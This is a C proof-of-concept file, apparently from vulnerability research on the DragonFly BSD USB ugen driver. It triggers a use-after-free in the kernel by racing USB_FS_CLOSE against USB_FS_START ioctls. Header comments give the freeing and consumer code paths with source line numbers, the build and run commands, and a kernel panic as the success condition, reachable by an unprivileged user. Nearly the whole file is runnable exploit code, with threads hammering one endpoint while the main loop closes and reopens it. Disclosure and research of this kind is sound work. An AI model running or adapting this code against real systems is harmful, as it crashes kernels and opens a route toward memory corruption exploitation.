DF-5314 / df5314.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | /* * DF-5314 -- USB_FS_CLOSE vs USB_FS_START race on a shared ugen fd: * use-after-free of the per-endpoint fs xfer (usb_xfer root block). * * Distinct from DF-5288 (whose freeing side is USB_FS_UNINIT freeing the * whole fs_xfer ARRAY). Here the freeing side is USB_FS_CLOSE, which * calls usbd_transfer_unsetup(f->fs_xfer + ep_index, 1) on a SINGLE * entry (sys/bus/u4b/usb_generic.c:1567), draining and then * delayed-freeing the usb_xfer_root block that contains the xfer * (usb_transfer.c:1266-1316, usbd_delayed_free). * * The consumer side is ugen_fs_copy_in() (USB_FS_START), which snapshots * xfer = f->fs_xfer[ep_index]; [usb_generic.c:1051, NO LOCK] * passes a pending-check under priv_lock, and then -- with no lock -- * derefs and WRITES the xfer across several sleeping copyin() calls: * fs_ep.nFrames > xfer->max_frame_count [:1069 read of freed mem] * xfer->error / xfer->nframes / xfer->timeout [:1070,:1132,:1133 writes] * usbd_xfer_set_frame_offset(xfer,...) [:1083,:1186 pointer writes] * copyin(uaddr, req, 8) with req = xfer->frbuffers[0].buffer * [:1087,:1099 write THROUGH a * pointer read from freed mem] * * Build: cc -O -Wall -o df5314 df5314.c -pthread * Run: ./df5314 (unprivileged, rw on /dev/usb/0.2.0) * Success: kernel panic / fatal trap while the only freeing ioctl in the * mix is USB_FS_CLOSE (no USB_FS_UNINIT is ever issued). */ #include <sys/types.h> #include <stdlib.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <bus/u4b/usb.h> #include <bus/u4b/usb_ioctl.h> #ifndef DEV #define DEV "/dev/usb/0.2.0" /* control endpoint node of ugen0.2 */ #endif static int fd; static volatile int stop; /* userland endpoint array (mirrors libusb) */ static struct usb_fs_endpoint eps[4]; static uint32_t lengths[4]; static void *buffers[4]; /* GET_STATUS(device): 0x80 0x00 wValue=0 wIndex=0 wLength=2 */ static uint8_t setup_buf[8] = { 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00 }; static void fs_init(void) { struct usb_fs_init ini; memset(&ini, 0, sizeof(ini)); ini.pEndpoints = eps; ini.ep_index_max = 4; if (ioctl(fd, USB_FS_INIT, &ini) < 0) err(1, "USB_FS_INIT"); } static int fs_open(void) { struct usb_fs_open op; memset(&op, 0, sizeof(op)); op.ep_index = 0; op.ep_no = 0x00; /* control endpoint */ op.max_bufsize = 256; op.max_frames = 4; return (ioctl(fd, USB_FS_OPEN, &op)); } static void * starter(void *arg) { struct usb_fs_start st; memset(&st, 0, sizeof(st)); st.ep_index = 0; while (!stop) { /* * Refresh the userland structures that the kernel will * copyin() one by one -- this stretches the unlocked * window inside ugen_fs_copy_in() that the closer has * to hit (each copyin can take a page fault and sleep). */ memset(eps, 0, sizeof(eps)); eps[0].nFrames = 2; eps[0].pLength = lengths; eps[0].ppBuffer = buffers; eps[0].timeout = 250; lengths[0] = 8; lengths[1] = 2; buffers[0] = setup_buf; buffers[1] = setup_buf; ioctl(fd, USB_FS_START, &st); } return (NULL); } int main(int argc, char *argv[]) { pthread_t th1, th2; struct usb_fs_close cl; int i, close_ok = 0, open_ok = 0; int iters = argc > 1 ? atoi(argv[1]) : 200000; memset(&cl, 0, sizeof(cl)); cl.ep_index = 0; fd = open(DEV, O_RDWR); if (fd < 0) err(1, "open %s", DEV); fs_init(); if (fs_open() < 0) err(1, "USB_FS_OPEN"); if (pthread_create(&th1, NULL, starter, NULL) != 0) err(1, "pthread_create 1"); if (pthread_create(&th2, NULL, starter, NULL) != 0) err(1, "pthread_create 2"); /* * Cycle USB_FS_CLOSE -> USB_FS_OPEN on endpoint 0 while the * starters hammer USB_FS_START. NO USB_FS_UNINIT is issued: * the only freeing path in this mix is the per-entry unsetup * of USB_FS_CLOSE. */ for (i = 0; i < iters && !stop; i++) { if (ioctl(fd, USB_FS_CLOSE, &cl) == 0) close_ok++; if (fs_open() == 0) open_ok++; if ((i & 1023) == 0) { printf("[*] %d cycles (close_ok=%d open_ok=%d)\n", i, close_ok, open_ok); fflush(stdout); } } stop = 1; pthread_join(th1, NULL); pthread_join(th2, NULL); printf("SURVIVED %d cycles (close_ok=%d open_ok=%d) -- race not won\n", i, close_ok, open_ok); return (2); } |